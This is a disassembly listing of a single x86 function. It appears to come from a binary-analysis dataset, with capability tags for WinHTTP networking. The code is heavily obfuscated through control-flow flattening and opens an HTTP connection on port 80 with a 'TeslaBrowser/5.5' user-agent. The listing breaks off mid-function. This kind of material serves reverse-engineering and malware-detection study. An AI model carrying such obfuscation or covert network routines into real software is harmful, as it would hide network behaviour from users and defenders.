Function at 0x418c7c
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x24c
mov dword [esp], 0x58b17296
mov edi, dword [esp + 0x28]
mov eax, dword [esp + 0x18]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x1c]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], eax
mov esi, dword [esp + 0x24]
xor ebx, ebx
lea ebp, [esp + 0x4c]
mov eax, dword [esp]
cmp eax, 0xeb9c3100
jle 0x418d29
cmp eax, 0x2d186169
jle 0x418dd5
cmp eax, 0x63c8c557
jle 0x418ef1
cmp eax, 0x6ce3e6e5
jle 0x418f36
cmp eax, 0x6ce3e6e6
je 0x4190e9
cmp eax, 0x7c2195c4
jne 0x4192a3
mov eax, dword [esp + 4]
mov ecx, eax
shr ecx, 0xf
shr eax, 0x1e
imul ecx, ecx
imul edx, ecx, 0xa49
dec edx
mov dword [esp + 4], eax
mov eax, 0xc7b20215
cmp edx, ecx
je 0x418d1c
mov eax, 0x26caa7e7
mov dword [esp], eax
mov dword [esp + 0xc], 0
jmp 0x418cb3
cmp eax, 0xac520169
jg 0x418d68
cmp eax, 0x9c30abe0
jg 0x418e1f
cmp eax, 0x9789a627
jg 0x418f96
cmp eax, 0x893fb0ce
je 0x419105
cmp eax, 0x8cbbdfe8
jne 0x418cb3
mov dword [esp], 0x417299d9
jmp 0x418cb3
cmp eax, 0xc7b20214
jg 0x418e64
cmp eax, 0xb8872f11
jg 0x418fcc
cmp eax, 0xac52016a
je 0x41912a
cmp eax, 0xb17b708b
jne 0x418cb3
shl edi, 0xd
add edi, 0xfffc6000
shr edi, 0xc
imul edi, edi, 0x37
push 0x1e8
push edi
push 0x192c
call fcn.00412ee6
add esp, 0xc
push edi
push 0x5b10
push 0x5eae
call fcn.00412ee6
add esp, 0xc
mov dword [esp], 0x127e0b07
jmp 0x418cb3
cmp eax, 0x631d4c
jg 0x418e99
cmp eax, 0xfb6fe23e
jg 0x419065
cmp eax, 0xeb9c3101
je 0x41920b
cmp eax, 0xf6fc860c
jne 0x418cb3
push dword [esp + 0x2c]
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov dword [esp], 0x6f866917
mov eax, dword [esp + 0x44]
mov dword [esp + 0x10], eax
jmp 0x418cb3
cmp eax, 0x9f275ab9
jg 0x418ff2
cmp eax, 0x9c30abe1
je 0x41914b
cmp eax, 0x9ea80e48
jne 0x418cb3
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x453b1c
push dword [esp + 0x48]
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov dword [esp + 0x14], eax
mov dword [esp], 0x9c30abe1
jmp 0x418cb3
cmp eax, 0xdba26329
jg 0x419022
cmp eax, 0xc7b20215
je 0x419157
cmp eax, 0xda17df38
jne 0x418cb3
mov eax, dword [esp + 8]
mov dword [esp + 0x44], eax
mov dword [esp], 0xf6fc860c
jmp 0x418cb3
cmp eax, 0x1f682d1a
jg 0x419087
cmp eax, 0x631d4d
je 0x41923b
cmp eax, 0x9c31d7b
jne 0x418cb3
add edi, 0x29
shr edi, 0x14
imul edi, edi, 0x3b
push edi
push 0x4a21
push 0x2937
push 0x5b3b
call fcn.00412f97
add esp, 0x10
mov eax, 0xe80252cd
cmp edi, 0x94
jb 0x41922e
jmp 0x419233
cmp eax, 0x417299d8
jg 0x4190b1
cmp eax, 0x2d18616a
je 0x41926d
cmp eax, 0x3b9b1057
jne 0x418cb3
imul edi, edi, 0x32
add edi, 0xffffdea5
mov eax, 0xb17b708b
cmp edi, 0xfd
jl 0x419233
mov eax, 0xdba2632a
jmp 0x419233
cmp eax, 0x63c8c558
je 0x4190d3
cmp eax, 0x69f9c6fc
jne 0x418cb3
mov eax, dword [esp + 4]
shr eax, 8
add eax, 0xfc
mov ecx, eax
shl ecx, 7
sub ecx, eax
sub ecx, eax
imul eax, eax
add ecx, 0xffffffa6
imul edx, eax, 0xcbd
dec edx
shr ecx, 9
imul ecx, ecx, 0x4c
mov dword [esp + 4], ecx
mov ecx, 0x9ea80e48
cmp eax, edx
je 0x418f86
mov ecx, 0xda17df38
mov dword [esp], ecx
mov eax, dword [esp + 0x40]
mov dword [esp + 8], eax
jmp 0x418cb3
cmp eax, 0x9789a628
je 0x419195
cmp eax, 0x9ab29322
jne 0x418cb3
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push dword [esp + 0x2c]
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov dword [esp + 0x34], eax
mov dword [esp], 0x8cbbdfe8
jmp 0x418cb3
cmp eax, 0xb8872f12
je 0x4191c4
cmp eax, 0xc06b863b
jne 0x4192b0
mov dword [esp], 0x631d4d
mov esi, dword [esp + 0x38]
jmp 0x418cb3
cmp eax, 0x9f275aba
je 0x4191d0
cmp eax, 0xa826659f
jne 0x418cb3
cmp dword [esp + 0x14], 0
mov eax, 0x7c2195c4
je 0x419233
mov eax, 0x9ab29322
jmp 0x419233
cmp eax, 0xe80252cd
je 0x4191ec
cmp eax, 0xe8b7b59a
jne 0x4192bd
push 0
push 0x50
push ebp
push dword [esp + 0x38]
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov dword [esp + 0x30], eax
cmp dword [esp + 0x30], 0
mov eax, 0x9f275aba
je 0x419233
mov eax, 0x9ea80e48
jmp 0x419233
cmp eax, 0xfb6fe23f
je 0x41924b
cmp eax, 0xfbbc6554
jne 0x418cb3
mov dword [esp], 0xfb6fe23f
jmp 0x418cb3
cmp eax, 0x1f682d1b
je 0x419257
cmp eax, 0x26caa7e7
jne 0x418cb3
mov eax, dword [esp + 0xc]
mov dword [esp + 0x40], eax
mov dword [esp], 0x1f682d1b
jmp 0x418cb3
cmp eax, 0x417299d9
je 0x419288
cmp eax, 0x58b17296
jne 0x418cb3
mov dword [esp], 0xc7b20215
jmp 0x418cb3
push dword [esp + 0x14]
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov dword [esp], 0x893fb0ce
jmp 0x418cb3
push 0
push dword [esp + 0x18]
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov dword [esp + 0x38], eax
mov dword [esp], 0x9789a628
jmp 0x418cb3
imul eax, dword [esp + 4], 0x302a
add eax, 0xfff9691a
mov dword [esp + 4], eax
mov dword [esp], 0x26caa7e7
mov eax, dword [esp + 0x3c]
mov dword [esp + 0xc], eax
jmp 0x418cb3
cmp dword [esp + 0x2c], 0
mov eax, 0x6f866917
je 0x41913b
mov eax, 0x2d18616a
mov dword [esp], eax
mov dword [esp + 0x10], 0
jmp 0x418cb3
mov dword [esp], 0xa826659f
jmp 0x418cb3
push 0x200
push ebx
push ebp
call fcn.00432cd0
add esp, 0xc
mov ebx, dword [esp + 0x260]
push ebx
call fcn.0043cc10
add esp, 4
push eax
push ebx
xor ebx, ebx
push 0x100
push ebp
push ebx
call fcn.0043c53f
add esp, 0x14
mov dword [esp], 0xfbbc6554
jmp 0x418cb3
imul ecx, dword [esp + 4], 0xdb
shr ecx, 3
lea eax, [ecx + 0xac]
imul ecx, ecx
imul edx, ecx, 0xb2f
dec edx
mov dword [esp + 4], eax
mov eax, 0x417299d9
cmp ecx, edx
je 0x419233
mov eax, 0xc06b863b
jmp 0x419233
mov dword [esp], 0xe80252cd
jmp 0x418cb3
mov dword [esp + 4], 0x1d38000
mov dword [esp], 0xda17df38
mov dword [esp + 8], 0
jmp 0x418cb3
push ebx
push ebx
push ebx
push ebx
push str.TeslaBrowser_5.5
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov dword [esp + 0x2c], eax
mov dword [esp], 0xeb9c3101
jmp 0x418cb3
mov eax, dword [esp + 4]
shr eax, 8
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x4625
dec edx
shl eax, 6
mov dword [esp + 4], eax
mov eax, 0xc7b20215
cmp ecx, edx
je 0x419233
mov eax, 0xac52016a
mov dword [esp], eax
jmp 0x418cb3
mov dword [esp + 0x3c], esi
mov dword [esp], 0x63c8c558
jmp 0x418cb3
mov dword [esp], 0xb8872f12
jmp 0x418cb3
push dword [esp + 0x30]
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov dword [esp], 0x69f9c6fc
jmp 0x418cb3
imul eax, dword [esp + 4], 0x11c00
shr eax, 0x16
mov dword [esp + 4], eax
mov dword [esp], 0xe8b7b59a
jmp 0x418cb3
cmp dword [esp + 0x34], 0
mov eax, 0x631d4d
je 0x419299
mov eax, 0x6ce3e6e6
mov dword [esp], eax
xor esi, esi
jmp 0x418cb3
cmp eax, 0x6f866917
jne 0x418cb3
jmp 0x4192fe
cmp eax, 0xc59a99f1
jne 0x418cb3
jmp 0x419329
cmp eax, 0xdba2632a
jne 0x418cb3
mov eax, dword [esp + 0x10]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 8]
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0xc]
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], esi
add edi, 0x8d
mov dword [esp + 0x28], edi
push 0x3cc6
push 0x16e0
push edi
call fcn.00416f3d
mov dword [esp + 0x28], edi
mov eax, dword [esp + 0x10]
mov dword [esp + 0x18], eax
mov ecx, dword [esp + 8]
mov dword [esp + 0x1c], ecx
mov ecx, dword [esp + 0xc]
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], esi
add esp, 0x24c
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [esp + 0x10]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 8]
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0xc]
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], esi
mov eax, edi
shl eax, 6
sub eax, edi
add eax, 0xffffe5ab
mov dword [esp + 0x28], eax
push dword [esp + 0x4c]
push eax
push 0x1e29
push 0x54ee
call fcn.00413d1c